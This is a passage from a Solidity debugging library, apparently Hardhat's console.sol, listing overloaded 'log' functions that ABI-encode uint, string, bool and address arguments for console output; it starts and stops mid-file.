_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
